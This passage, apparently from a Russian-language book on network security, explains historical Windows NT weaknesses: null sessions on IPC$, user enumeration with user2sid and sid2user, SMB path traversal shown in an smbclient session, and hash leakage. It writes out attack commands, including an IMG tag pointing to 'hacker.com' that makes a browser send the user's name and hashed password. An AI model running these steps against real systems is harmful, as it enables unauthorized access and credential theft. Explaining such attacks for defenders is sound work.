Шрифт:
> net use * \\194.94.94.94\DISK_C password /USER:user ,
где 194.94.94.94 – ваш IP-адрес;
DISK_C – разделяемое имя диска C:;
user, password – имя и пароль для подключения к ресурсу.Более того, даже если вы и не стремились предоставить никому доступ к вашим дискам, NT это сделает за вас. В ней есть так называемое административное (или скрытое) разделение ресурсов, отличающееся от обычных символом «$» в конце, а также тем, что эти скрытые ресурсы вновь появляются после перезагрузки, даже если вы их удалите вручную. Их имена – C$, D$ и т. д., обозначающие ваши жесткие диски, а также ADMIN$, указывающий на каталог %SystemRoot%. Такие ресурсы доступны только администратору и не выводятся в списке разделяемых ресурсов командой net view. Настройками в реестре можно отказаться от их наличия, но по умолчанию они существуют.
Хорошо ли, что SMB может быть построен на базе TCP/IP? С точки зрения функциональности – безусловно, Microsoft даже предлагает свой стандарт на глобальную файловую систему – CIFS (Common Internet File System), представляющий собой не что иное, как систему разделения ресурсов от Microsoft в рамках всего Internet. Но с точки зрения безопасности такой подход грозит дополнительными уязвимостями, обусловленными недостатками SMB.
В дальнейших рассуждениях мы предполагаем, что цель атаки – машина под управлением Windows NT, а не Windows for Workgroups или Windows 95/98, хотя они используют для разделения ресурсов тот же самый протокол SMB. Дело в том, что у этих операционных систем есть возможность обеспечивать разделение ресурсов на уровне ресурса (share level), при котором не требуется идентификации пользователя, а нужен только пароль на ресурс. Windows NT же обеспечивает разделение только на уровне пользователя (user level), при котором необходимо вводить и имя, и пароль. Вообще, применение Windows 95/98 в качестве основной ОС для хоста (сервера) в Internet – это нонсенс, и в нашей книге такой вариант практически не рассматривается.
Напомним еще раз, что необходимо знать злоумышленнику для подключения к разделяемому ресурсу на удаленной машине:
IP-адрес. Он его, безусловно, знает.
Имя ресурса. Его можно узнать с помощью той же самой команды net: net view \\194.94.94.94. Впрочем, для этого все равно надо знать имя и пароль (то есть сначала злоумышленник должен ввести net use, а потом уже net view).
Имя и пароль. Итак, именно в них вся загвоздка.
Однако нет ли в Windows NT какого-нибудь способа, позволяющего обойтись без знания имени и/или пароля? Оказывается, есть. Самой системе иногда требуется подключение к компьютеру, например для обеспечения межкомпьютерных связей в домене. И при этом ей приходится как-то идентифицироваться на удаленном компьютере. Такой механизм называется null session (нуль-сеанс, или анонимное подключение). Чтобы его установить, необходимо ввести пустое имя пользователя и пустой пароль, при этом для анонимного подключения всегда открыт специальный ресурс IPC$ (inter-process communication):net use \\194.94.94.94\IPC$ «„ /USER:“»
Анонимный доступ имеет ряд ограничений, в частности не позволяет подключать непосредственно разделяемые диски, но может предоставить следующие возможности:
• вывести список разделяемых ресурсов;
• удаленно просмотреть реестр с помощью стандартных программ Regedit или Regedt32 (если не запрещено его разделение). При этом ему будут доступны те разделы реестра, которые доступны Everyone, то есть многие. Например, в каталоге HKLM\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Winlogon существуют поля «DefaultUsername» и «DefaultPassword», означающие имя и пароль пользователя при autologon (автоматический вход в систему);
• запустить User Manager и просмотреть список существующих пользователей и групп;
• запустить Event Viewer и другие средства удаленного администрирования, использующие SMB.
Такая атака получила название RedButton, как и вышедшая в 1997 году программа-демонстратор, хотя о возможности анонимного подключения было известно со времен Windows NT 3.5. Service Pack 3 закрывает большинство этих возможностей, но не устраняет причину – анонимного пользователя. Поэтому после установки Service Pack 3 все равно можно просмотреть разделяемые ресурсы, а также узнать имена всех пользователей и групп в системе благодаря наличию общеизвестных (well-known) имен и идентификаторов субъектов.
С целью идентификации субъектов (пользователей или групп) Windows NT использует SID (security identifier – идентификаторы безопасности), но, в отличие от UID в UNIX, они у NT более сложные, имеют большую длину и уникальны для каждого пользователя даже на разных компьютерах. SID принято записывать в виде S-1-XXXXX-YYYYY1-YYYYY2-…,
где S-1 – идентификатор безопасности, версия 1;
XXXXX – номер ведомства (authority);
YYYYYn – номера подразделений (subauthority), причем последний из них задает RID (relative identifier – относительный идентификатор), который не будет уникальным для каждого компьютера. Например, для администратора – RID всегда 500 (прямая аналогия с UID root в UNIX, который всегда 0).
Итак, каждый идентификатор сопоставляется с некоторым субъектом, и существуют функции Win32 API, позволяющие получить SID по имени (LookupAccountName), и наоборот (LookupAccountSid).
Теперь нетрудно догадаться, что после установки анонимного подключения эти функции возможно применить и к удаленному компьютеру. Российским исследователем Евгением Рудным были написаны две простые программы, sid2user и user2sid, осуществляющие такие вызовы. Дальше кракеру поможет знание общеизвестных имен или RID.
Например, чтобы найти настоящее имя администратора (для большей безопасности Microsoft рекомендует его переименовывать), можно использовать примерную схему:
1. Осуществить поиск любого стандартного имени на удаленном компьютере, к примеру "Domain Users":>user2sid \\194.94.94.94 «Domain users»,
что выдаст, например: S-1-5-21-111111111-22222222-33333333-513, то есть ведомство 5, подразделение 21-111111111-22222222-33333333, RID 513. 2. Найти имя администратора (он же входит в пользователи домена, а RID всегда один и тот же!):
>sid2user \\194.94.94.94 5 21 111111111 22222222 33333333 500
Name is Vovse_Ne_Administrator
Domain is Vovse_Ne_Domain
Type of SID is SidTypeUserДалее можно просмотреть всех остальных пользователей и, более того, отследить временную иерархию их создания или удаления.
Несколько похоже на получение информации о системе через finger, не так ли? С одним маленьким дополнением – службу finger запретить легко, а здесь ничего не сделать.
Протокол SMB в глобальных сетях
Протокол SMB известен давно и имеет несколько диалектов – от PC Network Program, предназначенного для сетевых расширений DOS, до NT LM 0.12, применяемого уже в Windows NT. К сожалению, с точки зрения безопасности эти диалекты совместимы снизу-вверх, точнее, серверу приходится поддерживать несколько из них. Это приводит, например, к такой простой атаке, как указание клиенту передавать пароль в открытом виде, потому что сервер якобы не поддерживает зашифрованные пароли. Естественно, роль сервера здесь выполняет ложный сервер злоумышленника (см. главу 3).
Из-за поддержки устаревших с точки зрения безопасности сетевых решений SMB может быть подвержен атаке на получение доступа ко всему диску, если у злоумышленника есть права только на его часть (каталог). Для этого взломщику достаточно указать имя каталога через «..» [19]. Успех атаки заключен в том, что проверка правильности вводимого имени производится не на сервере, а на клиенте. Windows-клиент не пропустит имя каталога, содержащее «..», но ведь возможно использовать, например, UNIX-клиент SMB, слегка его подправив, благо, он есть в исходных текстах. Действия кракера при наличии легального доступа к каталогу SOME_DIR могли бы выглядеть примерно так:$smbclient \\\\VICTIM\\SOME_DIR -n TRUSTME -m LANMAN2 -U HACKER -I 194.94.94.94
smb: \> dir
smb: \> cd ..
smb: \..\> dir
smb: \..\> cd \..\..
smb: \..\..\> dir
smb: \..\..\> get config.sys -
smb: \..\..\> cd windows
smb: \..\..\windows\>Далее злоумышленник может поместить в системный каталог Windows, например, «троянского» коня. Первоначальная реакция Microsoft: «Samba – это неправильный клиент, и он не должен быть использован». Аналогичные попытки делает и NAT (NetBIOS Auditing Tool) – распространенное средство анализа безопасности для Windows-сетей. Вот фрагмент его исходного текста:
strcpy (cur_dir, «..\\*.*»);
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, "\\..\\*.*");
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, "...\\*.*");
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, ".\\...\\*.*");Вообще, ошибки, связанные с подменой файлов через относительные пути, становятся сильно распространенными. Все крупные производители серверов для Windows NT их допустили, по крайней мере, по одному разу (см. главу 10). Что касается вышеприведенного фрагмента, то он датирован 17.02.97. Как видно, автор NAT прекрасно был осведомлен о возможности доступа к каталогу в Windows 95 (в Windows NT такой возможности нет), лежащему двумя уровнями выше, через «…». Только почти два года спустя эта «особенность» Windows 95 стала хорошо известна, когда таким же образом удалось получить доступ ко всему диску путем указания URL вида
Попытки использовать SMB в качестве протокола для глобальных сетей приводят и к другим весьма серьезным уязвимостям. Оказывается, можно, например, удаленно получить имя и хэшированный пароль пользователя без его ведома. И в самом деле, указав в HTML-странице ссылку вида: <IMG SRC = "file:////hacker.com/share/image.gif">, злоумышленник заставит ваш браузер присоединиться к SMB-серверу hacker.com. Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль на сервер! Такой атаке подвержена Windows NT версий 3.51 и 4.0 вплоть до последних Service Pack, в качестве браузера может выступать любой – Microsoft Internet Explorer или Netscape Navigator от вторых версий до четвертых. Это и не удивительно, так как уязвимость является фундаментальной и исправить ее любым Service Pack практически невозможно, надо серьезно пересматривать сам процесс идентификации-аутентификации SMB-клиента на сервере.
Получается, свершилось то, о чем даже не мечтали UNIX-хакеры! Можно удаленно «стянуть» имя и зашифрованный пароль пользователя, правда, эта атака пассивна – незадачливый «клиент» сам заходит на враждебный сайт, а не наоборот.
Представитель Microsoft Майк Нэш (Mike Nash), отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: «Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать, – повысить осведомленность наших покупателей в вопросах безопасности» [28].
Итак, следующие особенности Windows NT приводят к успеху удаленных атак на разделяемые ресурсы:
• наличие «скрытых» разделяемых ресурсов, восстанавливающихся при каждой перезагрузке сервера;
• наличие анонимного пользователя и «нуль-сеанса» подключения к IPC$;
• наличие общеизвестных имен и идентификаторов безопасности;
• наличие нескольких диалектов SMB;
• перекладывание некоторых функций SMB-сервера на клиентов;
• непригодность стандартной процедуры входа в систему для глобальных сетей.Процедуры идентификации и аутентификации
Из предыдущих разделов читатель уже уяснил, что для любых действий с сервером Windows NT сначала нужно зарегистрироваться. Рассмотрим процедуры идентификации и аутентификации в этой ОС, используемые в них криптографические алгоритмы и сравним их с аналогичными процедурами в UNIX.
Упрощенно можно считать, что в Windows NT существует две принципиально разные процедуры регистрации на сервере – локальная и удаленная. Для первой, так же как и в UNIX, хэш от введенного пароля пользователя сверяется с эталонным хэш-значением, хранящимся в базе данных диспетчера учетных записей (SAM – Security Account Manager). Для удаленной процедуры можно было применить ту же схему, но тогда значение хэша пользователя передавалось бы по каналам связи на сервер и в принципе могло быть перехвачено кракером. Поэтому здесь, в отличие от UNIX, используется механизм «запрос-отклик», при котором в общедоступные каналы связи передается только зашифрованное на случайном ключе хэш-значение.
Функции хэширования паролей
В ОС Windows NT для защиты паролей используются две однонаправленные хэш-функции: хэш Lan Manager (LM-хэш) и хэш Windows NT (NT-хэш). Наличие двух функций, выполняющих одно и то же, говорит о совместимости со старыми ОС. LM-хэш был разработан Microsoft для операционной системы IBM OS/2, он интегрирован в Windows 95/98, Windows for Workgroups и частично в Windows 3.1. Хэш Windows NT был разработан специально для ОС Microsoft Windows NT, и его умеют вычислять только последние версии ОС этого семейства, начиная с Windows 95. Функция LM-хэш основана на алгоритме DES; NT-хэш является не чем иным, как известной хэш-функцией MD4.
Обычно в базе данных SAM хранятся, будучи дополнительно зашифрованными по алгоритму DES с ключом, зависящим от RID пользователя, оба хэш-образа пароля. Но иногда в системе может храниться только один из них. Очевидно, это будет происходить в случае, когда пользователь меняет пароль из ОС, не поддерживающей NT-хэш, – тогда в базу SAM записывается только LM-хэш (а поле NT-хэша обнуляется). И наоборот, если пароль пользователя превышает 14 байт, то туда попадет один лишь NT-хэш.